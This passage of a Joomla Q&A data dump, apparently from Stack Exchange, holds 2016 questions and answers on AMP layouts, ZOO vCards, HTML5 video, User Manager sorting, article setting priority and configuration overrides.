AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17768" PostTypeId="2" ParentId="17759" CreationDate="2016-09-01T14:00:43.140" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;h2&gt;&lt;a href=&quot;https://weeblr.com/documentation/products.wbamp/1/getting-started/site-meta-data.html&quot; rel=&quot;nofollow&quot;&gt;Modifying page layout&lt;/a&gt;&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;The full AMP page layout as well as all sections are implemented by wbAMP as JLayout. This means you can&#xA;  override any part of the output through your template overrides.&#xA;  Please refer to Joomla! documentation for details.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;wbAMP JLayouts are located in the &lt;code&gt;/plugins/system/wbamp/layouts&lt;/code&gt;&#xA;  folder.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you are trying to create your own custom AMP layouts, I would copy the aforementioned folder to your own template folder as an output override and modify the code that is already there.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;&lt;a href=&quot;https://weeblr.com/documentation/products.wbamp/1/going-further/embedded-tags/meta-data-tags.html&quot; rel=&quot;nofollow&quot;&gt;Date Published and Date Modified&lt;/a&gt;&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;wbAMP may be able to figure out the publication and modification date of your content. It will do so&#xA;  for Joomla articles and K2 items. You can however insert tags to set&#xA;  those dates, whether to override com_content or K2 values, or provide&#xA;  dates for other types of content. The syntax is as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{wbamp-meta name=&quot;date_published&quot; content=&quot;2016-03-11&quot;}&#xA;{wbamp-meta name=&quot;date_modified&quot; content=&quot;2016-03-11&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;You can have alternative syntax for the date and time. We will use the&#xA;  timezone currently set in your Joomla configuration to compute the&#xA;  time, but you can also set a time offset ((see examples below)).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{wbamp-meta name=&quot;date_published&quot; content=&quot;2016-03-11 01:02:03&quot;}&#xA;{wbamp-meta name=&quot;date_modified&quot; content=&quot;2016-03-11 01:02:03+04:00&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You may try using the default layouts and forcing the dates as shown in the code above.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;K2 Support:&lt;/strong&gt; According to both the &lt;a href=&quot;https://weeblr.com/frequent-questions/wbamp#community&quot; rel=&quot;nofollow&quot;&gt;Weeblr&lt;/a&gt; and &lt;a href=&quot;https://joomlaseo.com/blog/google-amp-support-in-joomla&quot; rel=&quot;nofollow&quot;&gt;Joomla! SEO&lt;/a&gt; websites, wbAMP support for K2 is added in the &quot;full&quot; version. You will have an additional plugin called &quot;K2 wbAMP support&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purchasing the subscription version of wbAMP will, also, give you direct access to support from Weeblr. They will be much more capable of handling any future questions you have regarding their plugin.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-09-01T14:26:49.397" LastActivityDate="2016-09-01T14:26:49.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17769" PostTypeId="1" CreationDate="2016-09-01T14:42:06.420" Score="0" ViewCount="192" Body="&lt;p&gt;Anyone know a way to create a link to generate a vCard from a Zoo content?&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2017-05-30T01:49:06.563" Title="How to create vcard file from zoo content" Tags="|development|zoo|zoo-cck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17770" PostTypeId="2" ParentId="17767" CreationDate="2016-09-01T14:44:19.813" Score="0" Body="&lt;p&gt;Perhaps you could leverage the Articles Anywhere extension to have the user build the article, including any images, and then you can use the simpler syntax: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{article My Article}[layout]{/article}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;of the article inclusion in a custom module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Articles Anywhere: &#xA; &lt;a href=&quot;http://extensions.joomla.org/extension/articles-anywhere&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/articles-anywhere&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to add an image to an article&#xA; &lt;a href=&quot;https://docs.joomla.org/Adding_an_image_to_an_article&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_an_image_to_an_article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there are additional editors out there that make editing articles easier. You might look into that if you have not already done so. &#xA; &lt;a href=&quot;http://extensions.joomla.org/tags/editors&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/tags/editors&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3779" LastActivityDate="2016-09-01T14:44:19.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17771" PostTypeId="2" ParentId="17767" CreationDate="2016-09-01T14:53:27.323" Score="2" Body="&lt;p&gt;Welcome to Joomla!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two main ways of creating complex layouts in Joomla!:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create templates with multiple/varying module positions and assign content blocks to those positions as needed.&lt;/li&gt;&#xA;&lt;li&gt;Create a simple template with full-width articles and define the complex layout within the article contents.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are new to Joomla!, then option 2 is going to be your best bet. However, this means that managing the article, from the client's perspective, will be much more complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, for creating complex article layouts without knowledge of code, a &quot;page builder&quot; is what you need. There is a good review of the &quot;top 5&quot; page builders for Joomla! in this article:&#xA;&lt;a href=&quot;https://www.themexpert.com/blog/reviews/5-best-joomla-page-builder&quot; rel=&quot;nofollow&quot;&gt;https://www.themexpert.com/blog/reviews/5-best-joomla-page-builder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.themexpert.com/quix-pagebuilder&quot; rel=&quot;nofollow&quot;&gt;Quix Page Builder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/page-builder&quot; rel=&quot;nofollow&quot;&gt;SP Page Builder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomlashine.com/joomla-extensions/jsn-pagebuilder-joomla-page-builder-extension.html&quot; rel=&quot;nofollow&quot;&gt;JSN Page Builder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codecanyon.net/item/azura-responsive-joomla-page-builder/8658367?ref=themexpert&quot; rel=&quot;nofollow&quot;&gt;Azura Responsive Joomla Page Builder&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot; rel=&quot;nofollow&quot;&gt;Page Builder CK&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will allow your client to &quot;drag-n-drop&quot; content layouts as needed giving full control of the position of images and text.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-09-01T14:53:27.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17774" PostTypeId="2" ParentId="17769" CreationDate="2016-09-01T21:40:17.110" Score="1" Body="&lt;p&gt;It would be a pretty involved process and after writing out an outline for it, you might be better off hiring one of the ZOO experts like ZOOlanders, Yoonique, or Herdboy (Mustaq) to write it. I would also post on the YOOtheme support board.&lt;br/&gt;&lt;br/&gt;Below is my take on it as a rough idea as a starting place, not an exact solution.  Overall, it would change depending on whether you are wanting to display it within an existing ZOO layout like teaser or item, or wanting to display the link outside of ZOO and send variable of which listing to pull.&lt;br/&gt;&lt;br/&gt;The easiest would be to do from within ZOO so you already have that particular item data to have the ID. I think you would be putting these pieces together:&lt;br/&gt;&lt;br/&gt; 1. Create a new layout specific for the vCard following &lt;a href=&quot;http://yootheme.com/zoo/documentation/developers/create-a-new-template&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://yootheme.com/zoo/documentation/developers/create-a-new-template&lt;/a&gt; for that specific application and template.&lt;br/&gt;2. In that layout, manually add, setup the vCard format from DevilCode's answer on &lt;a href=&quot;https://stackoverflow.com/questions/6240375/vcard-propagate-with-info-from-db-via-php&quot;&gt;https://stackoverflow.com/questions/6240375/vcard-propagate-with-info-from-db-via-php&lt;/a&gt;&lt;br/&gt;3. Substitute out the array variables he uses with the ZOO code for either ZOO positions (you would have to tinker with how the element is rendered), or by accessing specific elements (probably easier): &lt;a href=&quot;http://yootheme.com/zoo/documentation/developers/accessing-element-data&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://yootheme.com/zoo/documentation/developers/accessing-element-data&lt;/a&gt;)&lt;br/&gt;4. Tweak formatting because vCards are finicky.  So if multiple instances of an element, make sure separated by semi-colons, etc&lt;br/&gt;5. Find the item.php layout for that specific application, template and type.  In it, add code for the vcard link and open up the vcard template in a new window.  To do that, I think you would use similar render code from the _items.php file and pass the item ID to pull the correct record. I am not sure on this. &lt;br/&gt;6. To get the file to autosave as an actual vcf file, you might have to use javascript to write as a new file.&lt;br/&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-09-01T21:40:17.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17775" PostTypeId="1" CreationDate="2016-09-02T10:03:31.187" Score="0" ViewCount="3070" Body="&lt;p&gt;please help. Am working on joomla on xampp, so a created a folder in media called &quot;videos&quot; were i have placed some videos. now my problem is to get to those videos from a article. please help me!!!! my codes are as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;video height=&quot;240&quot; width=&quot;320&quot;&amp;gt;&#xA;&amp;lt;source src=&quot;/images/videos/myVideo.wmv&quot; type=&quot;video/wmv&quot;/&amp;gt;&#xA;&amp;lt;/video&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8955" LastActivityDate="2016-09-06T10:16:34.797" Title="How to insert video from a video folder into joomla article using xampp" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17776" PostTypeId="2" ParentId="17775" CreationDate="2016-09-02T10:10:40.447" Score="0" Body="&lt;p&gt;The &lt;code&gt;WMV&lt;/code&gt; format is not supported with HTML5 videos, so I would suggest converting your video to MP4 and OGG, then use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;video height=&quot;240&quot; width=&quot;320&quot;&amp;gt;&#xA;    &amp;lt;source src=&quot;/images/videos/myVideo.mp4&quot; type=&quot;video/mp4&quot;&amp;gt;&#xA;    &amp;lt;source src=&quot;/images/videos/myVideo.ogv&quot; type=&quot;video/ogg&quot;&amp;gt;&#xA;&amp;lt;/video&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-09-02T10:10:40.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17777" PostTypeId="2" ParentId="17775" CreationDate="2016-09-02T10:29:15.023" Score="1" Body="&lt;p&gt;There may be a problem in your path (remove the first slash) also except the wmv problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;video height=&quot;240&quot; width=&quot;320&quot;&amp;gt;&#xA;&amp;lt;source src=&quot;images/videos/myVideo.mp4&quot; type=&quot;video/mp4&quot;/&amp;gt;&#xA;&amp;lt;/video&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am assuming that images folder is in the same directory as index.php.&lt;/p&gt;&#xA;" OwnerUserId="8956" LastActivityDate="2016-09-02T10:29:15.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17778" PostTypeId="1" CreationDate="2016-09-02T12:45:55.067" Score="3" ViewCount="586" Body="&lt;p&gt;In the administrator area of Joomla 3.6.x the User Manager has a number of filters to change the sorting of users. I always want the most recently registered users to appear on top without having to select that option (Registration Date). Is there a way to force the selection, perhaps with an override? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8424" LastActivityDate="2017-06-01T16:58:27.497" Title="Can I set a default sort in the User Manager?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17779" PostTypeId="1" AcceptedAnswerId="17790" CreationDate="2016-09-02T12:55:39.147" Score="1" ViewCount="329" Body="&lt;p&gt;I have a hard time remembering where I can change the articles settings, e.g. the &quot;show category&quot; setting. I repeatedly have to discover that it's possible&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Globally (go to Content-&gt;Articles and pick &quot;settings&quot; up to the right side of the page. Then select tab &quot;Articles&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Menu entry for a single article (go to Menu-&gt;Manage, select your menu and from there select your menu entry and then tab &quot;Article settings&quot;)&lt;/li&gt;&#xA;&lt;li&gt;On the article itself (Go to the article and select the tab &quot;Article settings&quot;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But I am also having a hard time figuring out what the priority of these are. It seems to me that #3 always screws the other two in that whatever I select for a single article menu entry I can't override that setting with explicit settings for that article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right? Could someone describe the logic here please?&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2016-09-04T09:08:53.647" Title="Article settings priority (global, menu, article)" Tags="|articles|article-manager|global-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17780" PostTypeId="1" AcceptedAnswerId="17781" CreationDate="2016-09-03T00:04:09.153" Score="2" ViewCount="844" Body="&lt;p&gt;I would like to automatically override my Joomla configuration based on the host I am using. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$servername = getenv(&quot;HTTP_HOST&quot;);&#xA;if($servername == &quot;localhost&quot;) {&#xA;    JConfig::host = 'localhost';&#xA;    JConfig::user = 'root';&#xA;    JConfig::password = 'pass';&#xA;    JConfig::db = 'myproject';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what is the best way to do this? (The code above does not work)&lt;/p&gt;&#xA;" OwnerUserId="8960" LastActivityDate="2016-09-03T00:18:02.687" Title="How can I override configuration.php" Tags="|overrides|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17781" PostTypeId="2" ParentId="17780" CreationDate="2016-09-03T00:18:02.687" Score="1" Body="&lt;p&gt;its not the good idea to modify the config file but here is one way to do this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$servername = getenv(&quot;HTTP_HOST&quot;);&#xA;if($servername == &quot;localhost&quot;) {&#xA;    $host = 'localhost';&#xA;    $user = 'root';&#xA;    $password = 'pass';&#xA;    $db = 'myproject';&#xA;}&#xA;&#xA;//now use it in the config file like this &#xA;define('DB', $db);&#xA;define('DBHOST', $dbhost);&#xA;define('USR', $usr);&#xA;define('PWD', $pwd);&#xA;&#xA;class JConfig {&#xA;&#xA;    public function __construct(){&#xA;            $this-&amp;gt;host = DBHOST;&#xA;            $this-&amp;gt;user = USR;&#xA;            $this-&amp;gt;password = PWD;&#xA;            $this-&amp;gt;db = DB;&#xA;    }&#xA;    public $host;&#xA;    public $user;&#xA;    public $password;&#xA;    public $db;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it will help you&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-09-03T00:18:02.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17782" PostTypeId="2" ParentId="17778" CreationDate="2016-09-03T03:20:54.760" Score="1" Body="&lt;p&gt;Override the file &lt;code&gt;administrator/components/com_users/views/users/tmpl/default.php&lt;/code&gt; (e.g. copy it to &lt;code&gt;administrator/templates/[your-admin-template]/com_users/users/default.php&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the following 2 lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$listOrder  = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;$listDirn   = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$listOrder  = 'a.registerDate';&#xA;$listDirn   = 'DESC';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file, and then clear your Joomla cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The above override will cause the ordering to be always by last registration date, even if you choose another ordering (in other words, the ordering will be hardcoded).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-09-03T03:20:54.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17783" PostTypeId="1" AcceptedAnswerId="17786" CreationDate="2016-09-03T07:16:49.290" Score="0" ViewCount="105" Body="&lt;p&gt;So in Joomla you may choose what kind of menu item you make, e.g. to an article or a 'system link' like this. On a multilingual site, I have in the mainmenu a button that links to an alias. The problem is, that the default template, Purity III, is assigned to this menulink, whatever I try to do. So I end up having the menu of one of the languages (that of the default assigned Purity template) on the page of whatever menu-alias I make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Purity III template, you have to assign which menu you want to show, so with multi-language sites each language should have it's own template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the alias:&#xA;The alias is an alias to a hidden menu-item. In order to show a loginpage when a user is not logged in this menu-item's access is limited to registered. &lt;/p&gt;&#xA;" OwnerUserId="8831" LastEditorUserId="8831" LastEditDate="2016-09-03T08:06:47.270" LastActivityDate="2016-10-03T10:31:41.060" Title="How can I assign a Purity III template to an alias" Tags="|templates|multilingual|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17784" PostTypeId="2" ParentId="17717" CreationDate="2016-09-03T07:31:17.123" Score="1" Body="&lt;p&gt;I helped you and I do not think you tried my method. As stated in the other post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use your editor and select the text and for styling use h1. It bypasses any template glitches and is better for SEO. Still fill out the the Browser Page title but set to show page heading NO.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-09-03T07:31:17.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17786" PostTypeId="2" ParentId="17783" CreationDate="2016-09-03T09:36:59.690" Score="0" Body="&lt;p&gt;The solution is to add another copy of the Purity III template as default template. In this Purity III assign another hidden menu with aliases to all the menu items with their assigned languages. Lots of overkill, but the only way to solve this configuration problem I think.&lt;/p&gt;&#xA;" OwnerUserId="8831" LastActivityDate="2016-09-03T09:36:59.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17787" PostTypeId="1" AcceptedAnswerId="17789" CreationDate="2016-09-03T12:03:58.243" Score="0" ViewCount="48" Body="&lt;p&gt;Is there any plugin that gives the admin the right to &lt;strong&gt;create an user&lt;/strong&gt; and the system &lt;strong&gt;generate a page contains the fields : photo, informations about the user etc (like a CV page)&lt;/strong&gt;, and this informations &lt;strong&gt;can be filled by the user&lt;/strong&gt; created earlier ?&lt;/p&gt;&#xA;" OwnerUserId="8961" LastActivityDate="2016-09-04T01:12:42.587" Title="Plugin generate a CV page" Tags="|joomla-2.5|plugin|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17788" PostTypeId="2" ParentId="15178" CreationDate="2016-09-04T01:09:38.837" Score="1" Body="&lt;p&gt;Clearing the Joomla cache and your local browser cache can often fix this type of issue especially after updating from Joomla 2.5.8 to 3.x or after moving the website from one host to another.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-01-02T05:22:25.153" LastActivityDate="2017-01-02T05:22:25.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17789" PostTypeId="2" ParentId="17787" CreationDate="2016-09-04T01:12:42.587" Score="2" Body="&lt;p&gt;There are a few types of extensions that could be used although you may need to upgrade to Joomla 3.x to take advantage of the latest extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Content Construction Kit (CCK)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/fieldsattach&quot; rel=&quot;nofollow&quot;&gt;FieldsAttach&lt;/a&gt;, &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/fields-and-filters&quot; rel=&quot;nofollow&quot;&gt;Fields and Filters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://extensions.joomla.org/category/authoring-a-content/content-construction&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/category/authoring-a-content/content-construction&lt;/a&gt; for more ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Forms Extension&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples: &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/chronoforms&quot; rel=&quot;nofollow&quot;&gt;ChronoForms&lt;/a&gt;, &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/rsform-pro&quot; rel=&quot;nofollow&quot;&gt;RSForm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://extensions.joomla.org/category/contacts-and-feedback/forms&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/category/contacts-and-feedback/forms&lt;/a&gt; for more ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Profile Extension&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/easy-profile&quot; rel=&quot;nofollow&quot;&gt;Easy Profile&lt;/a&gt;, &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/joom-profile&quot; rel=&quot;nofollow&quot;&gt;Joom Profile&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://extensions.joomla.org/category/clients-a-communities/user-management&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/category/clients-a-communities/user-management&lt;/a&gt; for more ideas.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-09-04T01:12:42.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17790" PostTypeId="2" ParentId="17779" CreationDate="2016-09-04T09:08:53.647" Score="0" Body="&lt;h1&gt;Menu Overrides from Articles and Which Setting Wins&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are &lt;strong&gt;three places&lt;/strong&gt; to set their inclusion or exclusion on the page. There’s a setting in the &lt;strong&gt;Article Parameters&lt;/strong&gt;, the same setting in the &lt;strong&gt;individual article&lt;/strong&gt;, and a third setting in the &lt;strong&gt;menu item&lt;/strong&gt;. So which one wins?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;strong&gt;lowest priority&lt;/strong&gt; goes to the &lt;strong&gt;Article Parameters&lt;/strong&gt;. Think of this priority as the global setting&#xA;for your articles. The individual article setting and the menu setting override anything set in Article Parameters.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;second priority&lt;/strong&gt; is the &lt;strong&gt;menu settings&lt;/strong&gt;. This priority overrides the Article Parameters, but not the individual article settings. These settings are extremely useful when confi guring blogs. This priority overrides any Article Parameter setting, but it still sets a pile of posts to appear in a certain way, without setting each article individually.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;highest priority&lt;/strong&gt; is the &lt;strong&gt;individual article setting&lt;/strong&gt;. Use this only if a specific article needs the override. For example, perhaps one article would not have the article title display, but every&#xA;other article does display the article title.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Tips and examples&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Some developers like to set all three locations to display or not display something. They say, for example, not to display the author name in the Article Parameters, in the individual article, and in the menu item. This is just creating extra work, and later, if you change your mind, you may have a hard time unraveling what you did in the first place.&#xA;Learn to take advantage of this series of overrides, and you’ll save yourself a bundle of time and prevent headaches. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For example:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you never, ever want to have an article’s author display on your site, set it in the Article&#xA;Parameters. Set all the article settings and menu settings to just Use Global (which is set&#xA;by default).&lt;/li&gt;&#xA;&lt;li&gt;If you want to display the author name in one section blog, set the menu settings for the&#xA;section blog to show the author name. All articles should stay set to Use Global (the default).&#xA;That way, you have one place to change your mind later. You can change it on a per-article&#xA;basis, but if you ever change your mind, you would need to edit dozens, hundreds, or even thousands of articles.&lt;/li&gt;&#xA;&lt;li&gt;If you don’t want to display the author name for one post in that same blog — for example, an announcement in the blog, where an author name isn’t relevant — then setting the author name on a per-article basis makes perfect sense. However, if 80 percent of the posts include author names and 20 percent of the posts do not, I would set the blog to show the author name in the menu setting, and then set individual articles to not show the author name. It’s less work that way.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Source:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Book from &lt;strong&gt;Jen Kramer&lt;/strong&gt; which is called &quot;&lt;strong&gt;Joomla! Start to Finish: How to Plan, Execute, and Maintain Your Web Site&lt;/strong&gt;&quot;&#xA;I modified some small parts for readability reasons.&lt;/p&gt;&#xA;" OwnerUserId="8962" LastActivityDate="2016-09-04T09:08:53.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17791" PostTypeId="2" ParentId="16472" CreationDate="2016-09-04T10:39:19.047" Score="2" Body="&lt;p&gt;Really really simple solution and cant believe no one has said it. Upgrade to the latest version of Joomla. You are many versions behind&lt;/p&gt;&#xA;" OwnerUserId="8965" LastActivityDate="2016-09-04T10:39:19.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17792" PostTypeId="1" AcceptedAnswerId="17809" CreationDate="2016-09-04T19:59:38.847" Score="1" ViewCount="908" Body="&lt;p&gt;Defining a Item in K2, we can upload an image in the Image tab of the K2 Item. &#xA;Is it possible to create a link to that image? So when a user click in the image is redirect to the same link of the Title. &lt;/p&gt;&#xA;" OwnerUserId="8969" LastActivityDate="2016-09-07T01:22:48.270" Title="How to add link to the image uploaded in image tab of K2 item" Tags="|k2|images|weblinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17793" PostTypeId="1" AcceptedAnswerId="17797" CreationDate="2016-09-05T02:01:29.727" Score="0" ViewCount="375" Body="&lt;p&gt;My website has been upgraded from a custom written 1.5 template and I need to run a link checked over it to discover broken links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one url: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_content&amp;amp;task=view&amp;amp;id=2639&amp;amp;lang=en&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page returns a HTTP 200 OK header, however the page contains: &quot;Error Category not found&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In /libraries/legacy/view/category.php:131 there is clearly code to return a 404 error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong in my template?&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2016-11-04T20:06:39.593" Title="Category not found returns 200 OK, I need 404" Tags="|templates|template-override|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
